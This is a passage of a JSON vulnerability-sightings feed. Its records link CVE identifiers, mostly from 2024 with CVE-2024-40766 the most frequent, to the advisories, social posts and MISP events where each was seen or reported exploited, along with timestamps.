"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40961", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "e6a3c20b-1196-490f-b51c-3231c1a06ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40963", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "b81c2f85-2a99-4cfc-9ad9-752b65c6d281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40968", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "a6349f9f-e8db-49f5-b172-369992d0389b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40976", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "d59af40e-e963-4f47-b6d9-356fbe5e3c53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40978", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "969ab489-77af-4f73-b303-b507a516fdb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40980", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "0c2cb5b3-0d04-4f0e-b15b-1f829077f7a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40981", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "d3be1d01-2899-407d-9535-0ff5ebf027d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40987", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "0848c4c5-3756-434e-9841-86531c2f3e29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40990", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "09aa6821-2e89-44bf-b69d-02c0c0d1838a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40984", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "d735f827-7a8c-46e8-9540-a29bca885a48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40995", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "df6736a4-8085-4447-b5d6-210fe5ddcc2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/redsiege.com/post/3lzythhiies2v", "content": "", "creation_timestamp": "2025-09-29T20:19:42.959890Z"}, {"uuid": "76cd19f5-8803-4155-bffb-8aa08c7e51e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3lwmnjwnu7a2q", "content": "", "creation_timestamp": "2025-08-17T19:46:08.956848Z"}, {"uuid": "f80fac30-041a-4fdf-94dc-12af5648d3b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "3774a757-4ecc-44fd-b875-94f6da98db73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "1a90c364-1816-4686-8347-e980e3b06e1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40766", "type": "seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lykomfikt5n2", "content": "", "creation_timestamp": "2025-09-11T11:52:44.223365Z"}, {"uuid": "c90fac42-1c1a-41a2-821e-46513929a2e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lykqk2oopm2f", "content": "", "creation_timestamp": "2025-09-11T12:24:57.832497Z"}, {"uuid": "05d07bc0-801b-4d48-8f32-c9b2f017c887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40635", "type": "seen", "source": "MISP/02fb130c-7874-4693-9b66-81ed91a2e996", "content": "", "creation_timestamp": "2025-08-21T03:19:30.000000Z"}, {"uuid": "35977e7f-6663-4d2e-8de5-5a4e0ade48db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/115350969051297083", "content": "", "creation_timestamp": "2025-10-10T17:08:26.200853Z"}, {"uuid": "3810d398-18cd-488d-bb63-145877d76132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lykztaox542k", "content": "", "creation_timestamp": "2025-09-11T15:11:11.132755Z"}, {"uuid": "353f673b-e16d-4c1e-8643-e44089a77a9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "MISP/c9834322-1956-45b0-9709-84cb2d0eddd5", "content": "", "creation_timestamp": "2025-09-22T12:23:09.000000Z"}, {"uuid": "7eeaf919-cdbb-460e-af4c-045bbdaaff96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3lyl6f2u6u525", "content": "", "creation_timestamp": "2025-09-11T16:32:42.327018Z"}, {"uuid": "e205eca1-4138-4571-b45a-2b5853d37bfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "MISP/c9834322-1956-45b0-9709-84cb2d0eddd5", "content": "", "creation_timestamp": "2025-09-22T12:23:10.000000Z"}, {"uuid": "dd8372e7-ea79-4074-a397-2203aeeaa3c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/infosecindustry.bsky.social/post/3lyl6z3yr5b2s", "content": "", "creation_timestamp": "2025-09-11T16:43:54.906485Z"}, {"uuid": "37d38de0-7a79-443f-89cd-3878fa228979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lzizbfvqus2g", "content": "", "creation_timestamp": "2025-09-23T13:21:07.875930Z"}, {"uuid": "83a211eb-8b30-4182-abb9-8ed4086f1882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m22mvbzyes22", "content": "", "creation_timestamp": "2025-09-30T13:27:30.435594Z"}, {"uuid": "2d987c33-22c7-4d05-a804-8f6e970a98ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:03.000000Z"}, {"uuid": "0b3b5da4-6c84-4cc1-9e10-6d4a2b5538b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:03.000000Z"}, {"uuid": "44eb0fa4-6b0d-4c4d-ad90-5b50a84ca7fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40094", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3m326cb6fsl26", "content": "", "creation_timestamp": "2025-10-13T02:31:27.720298Z"}, {"uuid": "190a6431-5507-41a5-9ab9-c41f1967c2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/ransomwaresommelier.com/post/3lylhh25bw227", "content": "", "creation_timestamp": "2025-09-11T19:14:52.451204Z"}, {"uuid": "3a7433f1-d013-4258-bc37-7090320df0be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40643", "type": "seen", "source": "https://blog.qwertysecurity.com/Articles/blog2.html", "content": "", "creation_timestamp": "2025-08-24T20:39:55.111831Z"}, {"uuid": "d1f18108-255a-4153-8f37-d76fc9377266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40766", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3m23gab35p72e", "content": "", "creation_timestamp": "2025-09-30T21:00:58.736711Z"}, {"uuid": "5ceef18d-1234-4e93-80be-4800002d859b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lym6kvfkq32d", "content": "", "creation_timestamp": "2025-09-12T02:08:38.227414Z"}, {"uuid": "f0f29d40-af21-4bc4-aa33-6f3c9bfbf411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23mc6xsmk2b", "content": "", "creation_timestamp": "2025-09-30T22:49:30.607502Z"}, {"uuid": "ede4c182-084b-4682-9291-432d4b8e1130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/crushftp_fileread_cve_2024_4040.rb", "content": "", "creation_timestamp": "2024-05-07T14:03:06.000000Z"}, {"uuid": "03d7e041-8231-4114-9bcc-864d5312d2e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://gist.github.com/Darkcrai86/47379bbc236221e3897f1ce8efc4411f", "content": "", "creation_timestamp": "2025-09-12T06:21:24.000000Z"}, {"uuid": "c9700b9d-1044-4489-be74-433c1c3ea98e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/mbissey.bsky.social/post/3lymnoghw5t2d", "content": "", "creation_timestamp": "2025-09-12T06:39:04.145698Z"}, {"uuid": "9bf9d43f-72b0-4f6d-a4d8-3c70185f26e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40591", "type": "seen", "source": "MISP/71f05cce-2beb-4b80-8496-bbbabc032544", "content": "", "creation_timestamp": "2025-08-25T18:31:44.000000Z"}, {"uuid": "d9af9cf8-100a-429b-a94d-2615f77dce73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-b09ebdbf-49ce2daf7174e42b", "content": "", "creation_timestamp": "2025-11-19T15:51:50.496250Z"}, {"uuid": "1507c874-dd62-4e31-85e0-4bcf031b3022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "MISP/b69053fd-1e28-4c4f-b701-dd54b3273b9e", "content": "", "creation_timestamp": "2025-08-27T19:55:29.000000Z"}, {"uuid": "494e86ce-6594-4322-b6ba-9e6da6f46eab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/115627378412537386", "content": "", "creation_timestamp": "2025-11-28T12:42:57.502747Z"}, {"uuid": "29340cde-9411-40d6-b658-f133d7ff12ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-28)", "content": "", "creation_timestamp": "2025-08-28T00:00:00.000000Z"}, {"uuid": "2970cba4-7494-44e5-acf3-6a21e98a5aec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3m335yzgz2c2y", "content": "", "creation_timestamp": "2025-10-13T11:59:02.699747Z"}, {"uuid": "edd95bed-2061-4788-92c7-e849a2690077", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lyn6fgb3fgf2", "content": "", "creation_timestamp": "2025-09-12T11:41:41.322539Z"}, {"uuid": "4012e80a-a030-4f7c-b4f2-46059803a76f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://threatintel.cc/2025/11/28/akiras-sonicwall-exploits-are-disrupting.html", "content": "", "creation_timestamp": "2025-11-28T11:43:08.000000Z"}, {"uuid": "4dafedd1-1bb4-4544-89e6-5707c5c09276", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:12.000000Z"}, {"uuid": "8707a953-b075-427d-aac8-859b955103b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3m335z53gn22y", "content": "", "creation_timestamp": "2025-10-13T11:59:03.499177Z"}, {"uuid": "bb2c4c66-0364-46d9-afaf-ea5330ec83b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3m335z53jks2y", "content": "", "creation_timestamp": "2025-10-13T11:59:04.316267Z"}, {"uuid": "a4eb8e91-ce7c-44b6-bd95-9ebf629f6a34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lynhy3u5p227", "content": "", "creation_timestamp": "2025-09-12T14:29:44.737669Z"}, {"uuid": "02e0c706-dac5-4efb-8055-913455083fd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://threatintel.cc/2025/09/12/akira-ransomware-crims-abusing-trifecta.html", "content": "", "creation_timestamp": "2025-09-12T11:49:41.000000Z"}, {"uuid": "40323e13-daba-43b2-a0aa-2d97cd7b6a82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lyntjtb34k27", "content": "", "creation_timestamp": "2025-09-12T17:56:30.650980Z"}, {"uuid": "46205e34-7233-4351-a32d-27eb8b009784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lyo63j76d225", "content": "", "creation_timestamp": "2025-09-12T21:05:26.554907Z"}, {"uuid": "969a795f-a04c-498e-a869-dc9c06fd1538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lyo6gmpff225", "content": "", "creation_timestamp": "2025-09-12T21:11:43.599185Z"}, {"uuid": "b7085e0c-bbe9-492e-be1d-b6b78f5be30d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40690", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3m7chmesi4a2g", "content": "", "creation_timestamp": "2025-12-06T07:20:15.776328Z"}, {"uuid": "1444a69d-1992-49ad-b826-447df70de8bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-4027", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3mdoupdsatc2a", "content": "", "creation_timestamp": "2026-01-31T03:27:17.199207Z"}, {"uuid": "621dc82d-0444-4fb6-b516-bca9c99c5724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mfmnn63qfp2z", "content": "", "creation_timestamp": "2026-02-24T17:05:51.492162Z"}, {"uuid": "92ce9f30-f12a-4e0f-abaa-dbc45e635c4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mga2m5gbz223", "content": "", "creation_timestamp": "2026-03-04T10:18:31.553582Z"}, {"uuid": "4125bc3f-6045-4674-a049-ce1e4cfff2ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4068", "type": "seen", "source": "https://gist.github.com/jrvssingh-cpu/5ca4be6b05f749c6962d84fae197cdc9", "content": "", "creation_timestamp": "2026-02-25T10:55:46.000000Z"}, {"uuid": "1b8a2a30-c5fd-4d50-846a-02a327af7451", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-09)", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "716b3682-ee21-4edc-a171-441b7f79a367", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_17/2025", "content": "", "creation_timestamp": "2025-08-06T05:36:39.000000Z"}, {"uuid": "8d56b26b-9534-4181-9e38-ef2606200d96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40998", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "7156c2d8-74d8-4bb8-ab9d-da450048e978", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40900", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "dc3de741-5c4e-4443-a1e3-34d7da7aceb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40979", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "74219e1b-36eb-4c3d-b5b2-028e8b73db4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40918", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "387d8fbe-3f21-46f2-a0d1-427353110bf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40954", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "d2cda3a6-0cfd-4e4b-8330-11a74fe598b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/01044f81-c94c-457c-ac75-a2864ed88968", "content": "", "creation_timestamp": "2026-02-02T12:26:29.719062Z"}, {"uuid": "ca69b1b0-4752-4878-b000-813b2bb9cab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40966", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "eca08520-3d25-4940-a275-503cec2a514f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40972", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "21d168d7-56a2-45e2-a964-387c3e5bc5b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40975", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "46004c3e-c4be-423a-9c53-c7258e69a232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40977", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "10cbecda-8fd4-4430-b284-c64828a98f57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40989", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "ead0e872-f04b-46d6-9edc-bf6cf17d547c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40999", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "eb2a3f50-97ac-48fe-992a-aceedfb1d64e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40972", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "faffba85-12bd-4e58-b806-138f2668277d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40927", "type": "seen", "source": 